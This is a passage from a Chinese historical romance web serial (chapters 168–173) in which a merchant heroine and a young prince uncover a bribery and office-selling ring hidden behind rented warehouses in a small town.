顾皎皎大吃一惊,下意识向后靠去,忙开口撇清:“是我唐突了,还请小王爷莫要多虑。若是小王爷无意,我就差人将,小王爷的单子隐去了。” 沈云祉仍旧面无表情,垂着眸子似在沉思。 不知为何,分明是先后一致的一张面容,偏偏有一种阴沉的错觉。 “既然顾姑娘诚心相邀,本王自然要给这个薄面。”沈云祉旁若无人自顾自道,“双瑞,备马车。” 直至坐上沈云祉的马车,顾皎皎仍读不懂他的思绪。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十八章 实在不敢收下 霓裳阁。 顾皎皎将人引进二楼雅间,再度将店内样式摆放在沈云祉眼前。 “除去那日送去驿站的样式,又多添了几份,都在此处了。不知小王爷可有称心的。” 沈云祉眼神淡漠,只随意扫了几眼:“各自做一件便是。” 他语气平淡,听不出半分深意,却足够叫顾皎皎为难。 “此处样式足足有二十一件,小王爷当真全都收下?”她忽地紧张起来,没由来的担心起他会不付银钱。 下一瞬,沈云祉像是读懂她的心事,将腰间钱袋轻置桌案:“顾姑娘放心,本王付得起银子。” 顾皎皎一阵心虚,忙将钱袋推还回去:“小王爷当真是说笑了,如何能收下您的银子呢?” 沈云祉伸手阻拦,直勾勾地盯着她的眸子:“顾姑娘不必客气,本王不愿做赊账之人。” “况且,若是顾姑娘往本王的铺子去,也是要付钱银的。” 温热的指尖隔着钱袋触碰一瞬,陌生而又熟悉的感觉油然而生,叫人失神一瞬。 顾皎皎吞咽一口,不敢直视他的眼睛:“既然小王爷坚持,那我就先收下。” 沈云祉转手端起桌上茶盏,轻抿一口:“至于衣裳的料子就由你决定便好,本王不愿在此多费神思。” 顾皎皎一一记下,见时机成熟抬手让莺儿进来。 她手中端着的托案便放置着那件水蓝色的衣衫。 沈云祉只扫了一眼,转而看向顾皎皎:“这便是你今日叫本王前来的缘由?” 最后一抹笑意消失在嘴角,他脸色冷淡,隐隐透着怒意。 “这衣裳贵重,所用料子丝线皆是上乘。”顾皎皎言语诚恳,小心谨慎,“更有甚者是民间千金难求,我实在是不敢收下。” 沈云祉冷笑一声:“顾姑娘真是思虑周全。只是内务府出手自是无处可退,本王府中又无女眷,不知顾姑娘想让本王如何处置这衣裳。” 顾皎皎哑口无言,有些尴尬。 听这口吻,大抵只能丢弃,实在暴殄天物。 不等回应,沈云祉沉声一句:“想与本王撇清干系,怕是为时已晚。” 他似在赌气,似在自言自语,沉闷的语调叫人听不真切。 顾皎皎面上闪过惊愕,夹杂几分难以置信。 她似乎瞧见了小云南王不一样的情绪。 “我……这衣衫……”顾皎皎一改往日伶牙俐齿,支支吾吾不知该说些什么,最后只得自暴自弃,“任凭王爷处置。” “送出去的东西没有收回来的道理。” 沈云祉回应极快,像是早就准备妥当。 “那……”顾皎皎无奈,正欲开口,却叫突兀地叩门声打断。 门外传来双瑞的声音:“小王爷。” 言简意赅,戛然而止。 沈云祉收了神色,换上一副冷峻模样。 “做好的衣裳送去驿站便好。”他起身离去,却又停在女子身侧,“至于那一件,找个巷子丢了便是。” 顾皎皎反应过来时,只瞧见大开的门扉和不见人影的连廊。 莺儿在她身侧轻叹,同样望着沈云祉离开的方向:“姑娘这是何必呢?小王爷似乎是不高兴了。” “那又能如何?”顾皎皎垂眸,心烦意乱,“都已说出口了,难不成还有收回的道理。” 沈云祉的低语在脑中不散,叫她忍不住思索话中深意。 他口中的关系,又是值得什么? 莺儿看着手中衣衫,眼底几分惋惜:“倒是可惜了这衣裳,姑娘当真不留下吗?” 顾皎皎这才转身,抬手抚摸它的细腻丝滑,心底生出几分不舍。 “就放在霓裳阁吧。好好收着,不必再拿出来供织娘观摩了。” 莺儿福身,端着衣衫离开雅间。 驿站。 沈云祉赶回书房时,杜玉荣已等在其中。 “小王爷,”他上前行礼,将手中锦盒呈上,“里头便是名单上人员底细,还有彼此之前的牵连。” 沈云祉接过锦盒,大步往书案走去。 这里头装着的便是那夜露出端倪之人详尽生平,记在案牍之上的便有多处重合之处。 杜玉荣带来的消息,便是朝堂之上几人的相互应和,私交甚密。 其中泽熙镇便时常露面。 沈云祉又拿出双剑带来的消息,递到杜玉荣眼前。 “本王差人暗中盯着几人的行踪。东窗事发后几人确实安分了许多,强忍着只在朝堂府邸往来。” “不过动作到底是不干净,多少有些瑕疵时不时便要打点,这落脚之处……” 杜玉荣接话:“泽熙镇。” “不错。”沈云祉点头,“看来这镇子并非看起来的这样简单。” “此处接连京城,即便往返也不费多少功夫,不会叫旁人生疑。”杜玉荣心中已有预感,“况且,小镇偏僻,人烟稀少,动作利索些便不会叫人抓住端倪。” 沈云祉忽然笑出声:“如此看来,倒要多谢孙协兆了。” 若非他焦急向平王投诚牵扯出此事,他或许还未发觉这错综复杂的案子。 “平王府与安阳侯府的婚事你可知晓?”沈云祉神色认真,不似玩笑。 凝重的气氛被生生撕开,叫杜玉荣措手不及。 “此事倒还听说。”他沉思一瞬,“未曾听闻平王有及笄的女儿,这桩婚事又是如何促成?” 沈云祉勾起唇角,与方才满脸阴沉判若两人。 “既然有这桩婚事,自然有这位女子。”他有意模糊,却面中狡黠,“此事如此秘而不宣,实在不妥。” “平王常年不见子嗣,坊间传言多变,对他颜面多有折损。如今有了子女,自然该广而告之。” 杜玉荣茅塞顿开,想起先前京中沸沸扬扬的传言。 “小王爷以为如何?既然婚约已成,何须你我推波助澜?” 沈云祉轻笑一声,细长的眸子尽是算计:“安阳侯府落魄已久,他自然瞧不上这桩婚事。如今消息闭塞便能说明。” “本王需得以此作为契机,瞧瞧他与泽熙镇是否当真毫无牵连。” 杜玉荣恍然大悟:“小王爷的意思是……” 沈云祉瞧他一眼,郑重点头。 自古以来,成亲大事最能瞧出人情往来。 他笃定,暗中的人际脉络也会随之浮出水面。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十九章 不能放过 月至中天,一辆素锻马车缓缓驶在密林之中。 沉闷的马蹄声与车身摇晃的声响在夜间十分清晰,带着别样的诡异。 马车内,沈云祉着一席月白束袖圆领长衫,正闭目养神。 夜间的小路寂静而幽深,空气中弥漫着独有的露珠湿气,叫人周身畏寒。 “小王爷,泽熙镇到了。” 马车停下,车帘应声而起,露出笼罩在夜色里的萧瑟小镇。 因着泽熙镇多数人进京谋生,闲下不少宽敞屋舍。镇上人便主意将这些屋舍租赁,以作京城商铺的仓库,是以维持镇上生计与人气。 沈云祉今夜便是来看库房。 屋主早早候在门外,当即殷勤的迎了上去:“参见大人,依照您的吩咐,择了一间最大的库房,请您过目。” 屋舍重重叠叠,这间库房足有两层,在这方地界属实抢眼。 沈云祉并未进门,反倒是在周边徘徊,状似无意道:“听闻泽熙镇这生意做了许久,不知周遭屋舍租赁了多少?” 屋主有一瞬犹豫,下意识瞄了双瑞一眼,而后才开口:“若是以您这间库房为准,周边几间都已有主,此刻里头怕是已堆满货物。” 先前来定库房的便是双瑞,他信誓旦旦说着主子不喜拖泥带水,今夜来此便会痛快交银,他才松开这般深夜在外停留。 不若这阴气中的生意必定是不便做的。 沈云祉没再开口,目光顺着绵延而去的大道看去,好似要透过深夜的雾气瞧见背后的真容。 他抬手,双瑞便取出马车后的一箱钱银拖到屋主面前,道:“这里头是说好的银子。” 屋主喜出望外,当即开箱验查,却见其中是远多于商讨好的数目。 “这是……”他疑惑抬头。 双瑞声音压低几分:“这间库房你依旧正常在外租赁,若有人有意,带过来看便是。” 屋主眼珠一转,动作轻柔地将木箱合上:“而后在知会公子,可是此意?” “你倒是懂规矩。”双瑞沉声一句,亮出背在身后的长剑,“还望你知晓识时务为俊杰的道理,莫要在背后使手段。” 银白的剑刃在月色下闪着寒光,叫人不寒而栗。 屋主眼眸瞪大,吞咽一口,连连点头:“公子放心,小的心里有数,知道该如何做。” 双瑞警告得瞧他一眼,而后走到沈云祉身侧:“小王爷,都安排妥当了。” “嗯。” 男子只发出一个音节,挺拔的身姿往未知的大道缓缓前进。 双瑞颔首,回眸示意屋主离开。 “这周遭都是何人租赁,其中陈设的是何物件,仔细查清。”沈云祉忽地站定,透过散去的雾气竟能远远瞧见府尹府邸的琉璃砖瓦屋檐,“还有那处的库房,最是不能放过。” 这话是对着夜色说的,微风拂过,树影婆娑显露出暗中人影。 话语随着夜风消散,双剑则消失在夜色之中。 第一楼。 天刚大亮,路上行人稀少,顾皎皎亲自将建方斋掌柜送出门扉,停在马车旁。 “如此这戏台便是落成了,多谢掌柜了。” 掌柜如释重负:“本是分内之事,倒不如说这些客套之语。只是听闻那夜之事,实在叫人胆战心惊。” 顾皎皎小心扫了一眼人群:“既然没有声张,日后不必再提就是。咱们这桩单子便可暂时消了,只是还劳烦掌柜再替第一楼排上一个名额。” 掌柜点头:“已经记录在案了。此次虽说所给期限宽裕一些,到底不过几日光景,须得记着来店内修葺。” 两人又客套几句,掌柜便乘车离开。 莺儿快步走来,在她耳边低语:“姑娘,王吉传来消息,小王爷派了人去暖春阁调查账目,还叫了老鸨去问话。” 顾皎皎不禁蹙眉,心底隐隐不悦:“可说明了缘由?” 她每月都会择个固定的日子将一月收益说与他听,也会一一展示账目,不曾有丝毫隐瞒。 今日暗自调查,岂非是怀疑她有猫腻。 莺儿:“送来的消息只有这些。” 顾皎皎心有不满,欲亲自去讨要说法。 她原本不愿蹚这趟浑水,是他几番相邀才定下契约。 接手时日虽短,她也不曾消极怠慢,每个铺子都细细打理,好似自家铺子般照料。 若是还不能入小王爷法眼,请辞怕是最好的法子。 顾皎皎面色冷了下去:“你且去备马车,若是账目有何问题可是耽误不得。” 白日里暖春阁大门紧闭,只有几个小厮在门外洒扫。 连着阁内后门的宽巷正停着沈云祉的马车。 顾皎皎目光一沉,轻车熟路地直奔二楼雅间而去。 她本是气势汹汹,奈何越是靠近越是泄气,走到门外时只剩下一声叹息。 说到底她不过是个管事的,两人虽有契约,又怎地约束背后的主子过问这些呢。 顾皎皎忽地思虑清明,彻底冷静下来,转身要走只当不曾来过。 “顾姑娘?”丫鬟端茶前来,恰好迎面撞上,“您是来寻小王爷的吗?正是这间雅室,您请。” 丫鬟不明就里,不等她反应就已叩门。 木门被人拉开,一抬眸恰好对上沈云祉那双阴沉的眸子。 他好像不太开心。 四目相对间,沈云祉的表情缓和许多,率先开口:“顾姑娘今日怎地有空前来?” 顾皎皎这才反应过来,忙进门行礼,随口寻了个由头:“参见小王爷。不是什么要紧的事情,只是偶然路过此处,便想着来看看。” 沈云祉笑笑,可眼神中的调侃显然不相信这番说辞。 他将无关之人遣了出去,独留下顾皎皎。 温热的茶水从壶口流过,尽数落进雕纹杯盏中。倾倒茶水独有的尖锐急促萦绕在耳畔,直至两杯茶盏盛满。 沈云祉将杯盏轻置桌案,薄唇再启:“顾姑娘怎地发起呆了。这茶是本王在云南时偶尔得来的,清香扑鼻,入口更是甘冽,你且尝尝。” 顾皎皎这才反应过来眼前这茶是沈云祉亲手斟的,顿觉惶恐。 “多谢小王爷,这样的粗活本该由我来才是。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十章 得来全不费工夫 听得此言,沈云祉又亲手放过去一碟糕点。 在顾皎皎疑惑的眼神中,他一字一句:“本王从不在意什么身份尊卑,不过是举手之劳,为何要分粗浅。” 他的语气笃定,落在耳畔掷地有声。 从前总听着身份低贱的话语,虽不曾妄自菲薄,但失落总是难免。 顾皎皎露出一抹勉强笑意:“小王爷气度非常人能媲美。” “今日……” “今日……” 两人几乎同时开口,抬头间是两双温热的眸子。 顾皎皎下意识移开眼神,低声道:“今日来此,其实是听闻小王爷您亲自来此查看账簿,疑心自己可以又何处出了纰漏,这才想着一探究竟。” 沈云祉大笑几声,将一粒果仁扔进口中,调笑着反问:“你不是疑心账簿,是疑心本王吧?” “本王与你定下契约,却又私下调查,你觉得疑心你的能力,所以才回出现在此处。” 心底的隐秘就这般被毫无征兆的戳破,顾皎皎只余下难以言喻的尴尬。 她咧嘴笑着,却十分怪异:“真是什么都逃不过您的眼睛,不过我确实也有担心账簿有异之心。” 既已挑明,顾皎皎干脆破罐子破摔。 “顾姑娘放心,本王是不会怀疑你的。”沈云祉勾起一抹暧昧不清的笑意,“今日本王来此,与其说是查账,不如说是来查房。” “本王正在调查一桩案子,与暖香阁有些许关联,是以才会刻意过来。” 他知晓顾皎皎不愿沾染背后的错综复杂,只简要带过,并未细说。 顾皎皎点头,他虽言简意赅,但不难猜出前段日子的贪污案。 此案因着牵扯小云南王也曾风靡一时,不过很快便销声匿迹,想来其中有沈云祉的手笔。 “既如此,我便不叨扰小王爷查案了。”顾皎皎起身行礼,“今早第一楼的戏台已然竣工,安置在泽熙镇库房的红绸铜锣也该运送过来了。” “等等!”沈云祉一怔,出声挽留,“你在泽熙镇有库房?” 顾皎皎从不懂他的激动,却也如实回答:“自父亲其这库房便一直存在了。当日父亲考虑铺子众多,难免有物件无法在店内堆放便在泽熙镇买了块地皮用作存放货物。” “听闻那镇子如今正坐着这档子生意,其中倒还有父亲的点拨。” 沈云祉很是满意,绕过桌案来到她的眼前:“如此说来,你对泽熙镇很是熟悉?” “算不得熟悉。”顾皎皎思索一瞬,谨慎开口,“不过库房周遭是何用途还算清楚。因着霓裳阁的绸缎有时会安置在库房之内,对临近的库房总有些要求,是以我便将周边的地皮也都买了下来,在外租赁。” 沈云祉很是兴奋,满眼欣赏就要蔓延出来。 从前倒不知晓她还有这样的本事,真是得来全不费工夫。 “本王随你一同去泽熙镇。”沈云祉语气笃定,反倒先他一步离开雅间。 顾皎皎紧随其后,很是茫然。 一路上,沈云祉寻问不停,多是围着租赁库房之人的底细,以及库房用途。 “可有租赁之人不漏真容?亦或是交给手下人置办?”停顿片刻,他又出声询问。 顾皎皎面露难色:“小王爷,您也知晓我手中产业许多,自然不能事事躬亲,待到了镇子,叫掌柜将明细折子取来您瞧便是。” 她心中紧张,心中猜测是否将屋舍租给了不应当之人。 若是这不知真容的人当真违背律法,下了大狱,日后租赁银钱岂非要打水漂? 看来日后还需在契约之上多加一条。 沈云祉没再问下去,心中只有接近真相的兴奋。 双剑那头还未传来消息,但依照他的猜测,泽熙镇定然有那群人的据点,隐藏在众多库房供他们会面商讨的地方。 若是能找到这不同寻常用途的库房,便能顺藤摸瓜,一切便清晰可见。 马车停下,顾皎皎将人引进一处其貌不扬的小屋。 进门才见里头陈设古色古香,别有风味。 一为着墨衣的中年男子正翻看账簿,瞧清面容正是那位屋主。 “顾姑娘,那批货物已安排妥当了,马车就停在屋后。”掌柜迎了上去,却在瞧见沈云祉是变了脸色。 这张惊为天人的皮囊他不会记错,也不会忘记月光下的寒冰。 顾皎皎察觉掌柜面色有异,猜到小云南王已来过此处。 想来那租而不用的奇异客人远在天边,近在眼前。 顾皎皎压住弯起的嘴角:“你且再将方圆内的契约一并取来。” 掌柜行事果断,很快便将几份契约翻找出来,呈到两人面前。 “这便是周边几个屋舍的租赁契约。”顾皎皎粗略扫了几眼,“掌柜经验老道,左右逢源,应当不会有甚诡异之人,若是实在怪异,他会知会我一声。” 沈云祉动作一顿,抬眸对上顾皎皎隐忍的视线,明白她已知晓自己来过此处。 “顾姑娘慧眼识珠,总是能寻到不一般的人才,真叫人羡慕。”他面不改色,阴阳怪气。 顾皎皎微笑以对:“小王爷谬赞。” 翻看契约,果然瞧见发觉异常。 沈云祉将其抽出,递到顾皎皎眼前:“你瞧这个,他租赁一处最大的库房,却是要存放书籍。” “这一片屋舍陈设简陋,若长久用来存放书籍,岂非有发霉潮湿之嫌?况且他有意使用化名,掌柜是如何经验老道的?” 突如其来的一身质疑叫掌柜心下一惊,头又低垂几分。 “小王爷担心有理,但这间屋舍地处朝阳,时常有日光笼罩,存放书籍倒也合理。”顾皎皎接过契约,却不觉得奇怪,“这单生意我有印象,是第一楼的老主顾,这才答应他以此名称。” 沈云祉眸色一凝,眼神变得尖锐:“本王要知晓此人底细。” 顾皎皎再度为难,支支吾吾:“可是小王爷,今日将契约与您查看已是破例,若是再将顾客底薪泄露,这若是传出去怕是不好做。” “也罢。”沈云祉径直起身,不再为难,“你且当本王今日不曾来过。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十一章 无法退让 送走沈云祉,顾皎皎亦是心存疑虑,多留意了契约几眼。 “每年租金赵郎君可付得准时?” 掌柜翻看档案:“还算及时,左不过推迟三五日,倒也不打紧。” “三五日?”怀疑的种子在心中滋长,“他每年何时付清?” 掌柜再翻一页:“多数时候乃二月十七便会将钱银送来,这几年皆是如此,不过不曾见过真容,都是手下伙计。” “有时也会八月中旬差人送来半载的租赁银钱,因着总是如此,我便不算他拖欠,是以不曾与姑娘细说。” 顾皎皎终是察觉不对。 她虽一介女流,但也知晓这这两个时节恰好是春闱与秋闱结束之时。 如此看来,这背后之人当真与贪污案有关。 顾皎皎忽地紧张起来,当即提笔将此线索记下。 她后半生并无大志,只想安稳度过此生。此番被迫牵扯进了朝廷要案,实在不敢袖手旁观。 “既不拖欠,便不必理会。”顾皎皎故作震惊,不想打草惊蛇,“启程吧,时候也不早了。” 回城途中,顾皎皎坐立难安,腰间的纸张像是长出尖刃。 “莺儿,你将这些东西送回第一楼,我要去霓裳阁一趟。” 顾皎皎等不及,就要提前下车。 “出了何事吗?可要奴婢陪同?”莺儿意外开口。 方才她便瞧出顾皎皎脸色有异,但她不曾开口,也就没有多问。 “小王爷的衣衫正在赶制,我放心不下。” 她随口说个缘由,拨了一匹骏马直奔霓裳阁而去。 “姑娘这是怎么了?” 掌柜见她气喘吁吁,忙递上一杯茶水。 顾皎皎视若无睹,脑中尽是衣衫:“小王爷的衣裳如何了?可有完工的?” 掌柜取来档案,细细查阅:“眼下只做好了一件。可是有何变故?” “不曾,将这件衣裳取来,我要亲自送去驿站。”顾皎皎心中巨石落下,这才接过杯盏一饮而尽。 为掩人耳目,她跟随霓裳阁一贯送货的规格前往,将纸张夹在衣袖之中。 驿站。 沈云祉正在书房瞧着双剑带回来的消息,其中明细倒与今日瞧见并无太多出入,只能瞧见明面上的信息。 唯一不同的便是那屋舍中存放的却为不同书籍,有四书五经,也有奇闻异事,更有民间话本,还有零星字画,倒看不出有何怪异。 双剑潜入库房,将这些书籍粗略瞧过,其中字样也无异常。 “实在是好手段。”沈云祉自言自语,语气嘲弄。 恰是一筹莫展之际,双瑞前来通报:“小王爷,霓裳阁将做好的衣裳送来了。” “是顾姑娘亲自送来的,只一件。” “收下送去厢房便好。” 沈云祉满门心思扑在库房之上,对其他皆是兴致缺缺。 连廊外,双瑞将其所言如实告知,又道:“姑娘,而今小王爷要事缠身,怕是一时半会顾不上衣裳了。” 顾皎皎心中焦急,却又不能言明,只好继续暗示:“烦请你再通报一声,便说这衣裳是着急赶制出来的,须得小王爷亲自瞧瞧尺寸样式是否合心意。” 这话漏洞百出,双瑞亦是有所察觉。 他让顾皎皎稍后片刻,又折返回书房,换了一番说辞:“小王爷,顾姑娘似乎是借着送衣裳的缘由,实在有其他缘由。” 沈云祉仍是不理不睬,心中介意着她租赁信息不肯相告。 既心中有气,言语自刺耳许多:“方才才见过,哪有那么多话要讲。她若不肯走,就在外头侯着吧。” 双瑞有些意外,却不敢忤逆小王爷,只将原话传回。 顾皎皎轻叹一声,无可奈何:“既然小王爷此刻不得空,我就在此处等着吧。” 说着,她当真坐于连廊,颇有一番不见黄河心不死的决心。 事关沈云祉的明白,他恼火也实属正常;但她自有生意场上的原则,如此实在无法退让。 即便是手中送来的消息,也不过是赵郎君每年付清钱银的时令,算不得违背条例。 “她当真不走?”沈云祉放下手中折子,意外中又有几分窃喜。 双瑞一脸正气:“回小王爷的话,顾姑娘如今就在连廊坐着,出门便能瞧见。” “哦。”沈云祉故作漫不经心,“她既愿意等就在那处侯着吧。” 双瑞走后,双剑再度归来,半跪在地,沉声回禀:“小王爷,属下依着赵郎君的名号在泽熙镇打听了一番,却有几位百姓曾与他有过一面之缘。” “只是诡异之处便是对其相貌描述却不尽相同,好似有多张面孔。” 这消息确实出乎意料,沈云祉想过背后有朝廷官员,却不想竟有多个。 “着人画像,再差人去请玉荣。” 他对朝堂官员并不熟悉,能在此事帮衬他的便只有杜玉荣。 几件要事吩咐下去,竟已到了傍晚。 顾皎皎百无聊赖地等着,见天色从明媚到暗沉,面上多了几分疲惫。 恍惚间,头顶笼罩来一片阴影。 她木讷抬头,就看见沈云祉那张宛若仙人的脸。 “参见小王爷!”顾皎皎忙起身行礼,难掩激动。 沈云祉却不理会,只用折扇拨弄记下衣衫,冷哼一声:“你就为了这件衣裳等了这样久?” “顾姑娘,本王可是瞧着你神思敏捷,临危不乱,能堪当大任才几番相邀。你却忽然如此不知变通,倒是叫本王心生疑虑了。” 顾皎皎并不理会他的激将之语,只将衣裳往前递了递,语气笃定:“王爷且瞧瞧这衣衫,我有信心不会叫你失望。” 沈云祉狐疑一眼,坦然接受了这般说辞:“随本王去厢房。” 依她所言,这衣裳另有乾坤,为避人耳目,他将屋内丫鬟尽数遣了出去。 “难怪霓裳阁工期颇久也有人愿意买账,这工艺堪比内务府了。” 沈云祉出声便是称赞,只是语气干硬,不像真心。 顾皎皎并无在意,只期待他发觉袖中玄机。 “小王爷可要试试?”她禁不住出声提醒。 沈云祉早已听出袖口异响,却佯装不懂,有意与她周旋。 看着她欲言又止的期待模样,总是觉得十分有趣。 那双眸子明亮,很是好看。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十二章 倒算是因祸得福 时间一分一秒,顾皎皎的眼神从紧张期许转为麻木无言。 饶是她再迟钝无知,也瞧得出沈云祉有意玩弄。 “小王爷,若是这衣衫实在不合您的心意,倒也不必如此牵强。我将它拿回去便是。” 她忍无可忍,终是开口。 亏她来时路上百般忧心,如今瞧来倒是自作多情。 察觉到顾皎皎语气中的不耐烦,沈云祉反手抽出袖口字条,而后装模装样点评道:“这衣裳绸缎顺滑,抚之轻柔;走线流畅自然未有瑕疵,至于这刺绣栩栩如生,恰到好处。本王很是喜欢。” 顾皎皎干笑两声,余光瞥见凌乱开合的袖口,明白沈云祉已将线索取走。 她福身行礼:“既然小王爷满意,余下的衣衫便都以此件为表。那我就先告辞了。” 沈云祉不曾挽留,只示意门外的双瑞跟着。 顾皎皎走后,他收起所以表情,将字条小心打开。 “春闱,秋闱。”沈云祉一眼便看出端倪。 “双剑。”他将双剑唤来,面色凝重,“好生查查这赵郎君,还有每年春闱秋闱的主考官。” 六部已牵扯两部,背后之人当真是手眼通天啊。 第一楼。 顾皎皎回来时,莺儿已将戏台打点妥当,不日便可投入使用。 她指挥小二放置台中盆景,忽然瞥见顾皎皎一张失魂落魄的脸。 莺儿心中一惊,忙迎上去搀扶:“姑娘,您瞧着脸色不好,莫非是小王爷为难您了?” 她早在心中想过无数可能。京城虽大,但也不必要往返大半日的功夫。 顾皎皎只摇头,觉得十分疲惫:“不过小王爷政务繁重,多等了片刻才是。” 她又粗略瞧了一眼戏台,出声称赞:“倒是置办的有模有样,你如今越发的伶俐了。” 被夸赞固然心中喜悦,但莺儿更担心顾皎皎的情绪。 “奴婢伶俐些,姑娘便少受累。”她的眼中尽是心疼,“奴婢陪您回府休息吧。” 莺儿心中生出悔意,从前她不懂为何姑娘总不愿与皇室牵连,今日见此倦色,心中明了。 回了顾府,竟瞧见门外多了一辆熟悉的马车。 顾皎皎嘱咐莺儿脚步快些,只当不曾瞧见,免得又沾一身腥气。 “怎么瞧见我就如瞧见牛鬼蛇神一般?” 孙协兆到底还是发觉了她的踪迹,言语调笑将人叫住。 顾皎皎置若罔闻,步伐未停。 “怎地还落荒而逃?”孙协兆嘴角一抹得意笑意,眼中尽是狂妄,“下月十五便是我与青青的婚期了,你难道还放不下不成?” 满是挑衅的话语猝不及防落在耳畔,听得人冷颤反胃。 他们母子真是如出一辙,一如既往的自以为是,不知悔改。 顾皎皎压制着心底怒意,叫自己看起来平和:“孙公子,你还没有懂得祸从口出的道理吗?还是你想再进一次衙门?” 几日不见,他的气质猥琐依旧,分明长了一张俊秀脸庞,行事作风却叫人作呕。 孙协兆冷笑一声,先前几步:“激将法对本公子没有用处。况且我如今是人尽皆知的平王女婿,哪个衙门敢来羁押?” 语毕,他理了理衣襟,得意洋洋。 说来也是,本是要收牢狱之灾,为了活命胡诌一个身份,却不想平王竟还认下。 于他而言,倒算是因祸得福。 “人尽皆知?”顾皎皎不屑地扫他几眼,又叫住一旁的家丁,“这桩婚事你可知晓?” 家丁老实地摇头。 孙协兆气急败坏:“达官贵人的喜事,如何是你们这些低贱之人的耳朵听得的?” 见顾皎皎不为所动,他将情绪折叠,软了态度:“今日来此,便是孙府顾念往年情分。我与母亲商议,准你一同观礼。” 莺儿接过递过来的喜帖,面上是不加掩饰的嫌弃,不情愿地摊开给顾皎皎过目。 这贴上确实是她大名,给出的名号是第一楼的老板。 顾皎皎嗤笑一声,故作真诚:“想不到安阳侯府如此不计前嫌,不知此番我该带去多少贺礼才合规矩呢?” 孙协兆却听不出话语缝隙,闻见银钱便早没了脑子。 “平王府和安阳侯府的喜宴,你且掂量掂量便是。若你对孙府仍有芥蒂,也得顾念着平王府的面子。” “若是能讨得青青欢心,我还能替你游说几句,保你在京城平安无事。” 言外之意就是威胁,若是不送去大把银子,就要使绊子。 但顾皎皎从不在意这些,却又有意叫他心中存着盼望,便一口答应:“好,我这就记下了。” “孙公子先回府吧,也可问问青青郡主都欢喜什么首饰衣料,来日叫人送到府上,我一一备下就好。” 孙协兆见她姿态谦卑,越发高高在上:“你能懂得这些道理最好。” “你可知晓有多少如你这般商贾想要挤破脑袋前来观礼?若非是顾及你两年在安阳侯府还算尽力,这样难得的机会本不会落在你的头上。” “原来如此。”顾皎皎讥讽一笑,“那便先祝贺两位百年好合。” 莺儿察言观色,当即接过话茬:“来人,好生将孙公子送一程。” 一听送客之语,孙协兆即刻变了脸色,侧身躲过家丁的触碰,又道:“你既然知晓机会难得,我还能再给你指一条明路。” 顾皎皎饶有趣味的看着他贪婪嘴脸。安阳侯府沆瀣一气,他不开口,也能猜到肚子里打着什么算盘。 果不其然,下一瞬就听孙协兆理直气壮:“眼下安阳侯府正在物色合适的酒楼置办席面。第一楼在京城也还有些名气,交给你出不得什么差错。” 眼见着说漏了嘴,他又连忙改口:“能够着手安排平王府的喜宴,第一楼也是面上有光。那日会来多少贵人你怕是想象不到,若你办得漂亮,对你的生意多是益处。” 顾皎皎连连点头,很是浮夸的赞同:“孙公子言之有理!可是近来第一楼生意火爆,实在是拨不出多余的人手置办侯府的喜宴了,真是不巧。” 孙协兆继续得寸进尺:“谁敢和平王府抢名额?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百七十三章 竟然能如此厚颜无耻 “自然无人敢和平王府较量。”顾皎皎笑意不减,耐心解释,“只是旁人席面早已定下,若平白作罢自然心中有怨。倘若孙公子一再坚持,便可加银子将他手中的名额买过来。” “如此,安阳侯府既置办好了席面,又不会遭人口舌,岂非两全其美。” 孙协兆表情怪异,沉默了许久才丢下狠话:“这机会是你自己不曾接住的,日后旁人飞黄腾达,可莫要怪我不念旧情。” 他言辞匮乏,就只能以前途相邀,与孙老夫人如出一辙。 顾皎皎叹一口气,惊愕一下轻掩唇舌:“旧情?孙公子可要慎言,这话若是叫青青小姐听到了,怕是不妥吧?” 孙协兆咬牙切齿却说不出话,只得满腔愤怒拂袖而去。 将是下了石阶,他又气势汹汹折返,恶狠狠道:“席面一事办不妥当我不怪你,前来观礼一事你可别再错过。” 顾皎皎笑而不语,目送他带着怒气离开。 虽不解气,但想着他之后每天都会候着第一楼的诚意贺礼就觉得十分有趣。 莺儿却是个沉不住气的,对着男人的背影啐了一口:“也不知究竟是何脸面,竟然能如此厚颜无耻,竟还奢望顾府送去贺礼,简直异想天开。” 顾皎皎笑笑,出声安抚:“何必动气?你且等着大婚当日他坐立难安便是。” 莺儿仍是不解气:“也不知他们怎就缠着姑娘您不放,本就身子疲倦,还耽搁您休息。” 另一边,驿站。 沈云祉拿出早已准备好的画像摆在沈玉荣面前。 “这些便是本王近日查到的线索。”他沉声解释,眼中几分迫不及待,“本王对朝廷官员的面容不熟,还要请你辨认一番。” 越是看着,沈玉荣的面色越是凝重,紧锁的眉头昭示着画像之人绝非凡辈。 “若是不曾认错,这是吏部侍郎张连,这位是礼部郎中王奇,这……”他看着最右侧的画像犯难,“此人面生,不曾见过,未必是朝廷中人。” “如此也是够了。”沈云祉勾起笑意,眼神狠历。 恰是此时,双剑漏夜而归,带回的正是未知画像的信息。 “小王爷,此人乃赵恒的父亲赵河。此人诡计多端,便是坐着买卖官职一事发家,敛了不少横财。” 双剑沿着蛛丝马迹,很快就将事情脉络理清,一字不漏禀告。 当年,赵河不过是个寻常樵夫,而张连进京赶考,却不想在山麓无意踩中捕兽的陷阱,寸步难行,万念俱灰之际,被赵河所救。两人缘起便在此处。 而后,张连高中,一步一步走到侍郎的位置,仍旧不曾忘却赵河恩情。 原本他只当这是举手之劳,不愿接受张连恩惠,却在知晓吏部职能后动了歹念。 张连碍于情面,帮衬着赵河亲戚暗度陈仓,安插在小镇做府尹。 起初两人心中忐忑十分,却在息事宁人后蠢蠢欲动。 张连亦是因着开了先河,再是拒绝不得,这才越陷越深。 “到了如此地步,哪里还有什么身不由己。”沈云祉目光凌厉,看着张连画像冷笑一声。 沈玉荣出声叹惋:“从前倒是与两人说过几句话,不想竟然会牵扯进这样的事情。倒是可惜。” “不过是主使,三人受贿卖官这样多年,其中知情的怕是数不胜数。”沈云祉冷面无私,只在意其中真相,“明日本王便要进宫如实禀告,而后的就交给大理寺吧。” 误入歧途之人必将绳之以法,这是世间不变的法则。 翌日,皇宫。 近来皇上的身子好转些许,终是能离开床榻坐于案前批折子。 沈云祉半跪于殿内,将贪污案的原委娓娓道来,未有半分隐瞒。 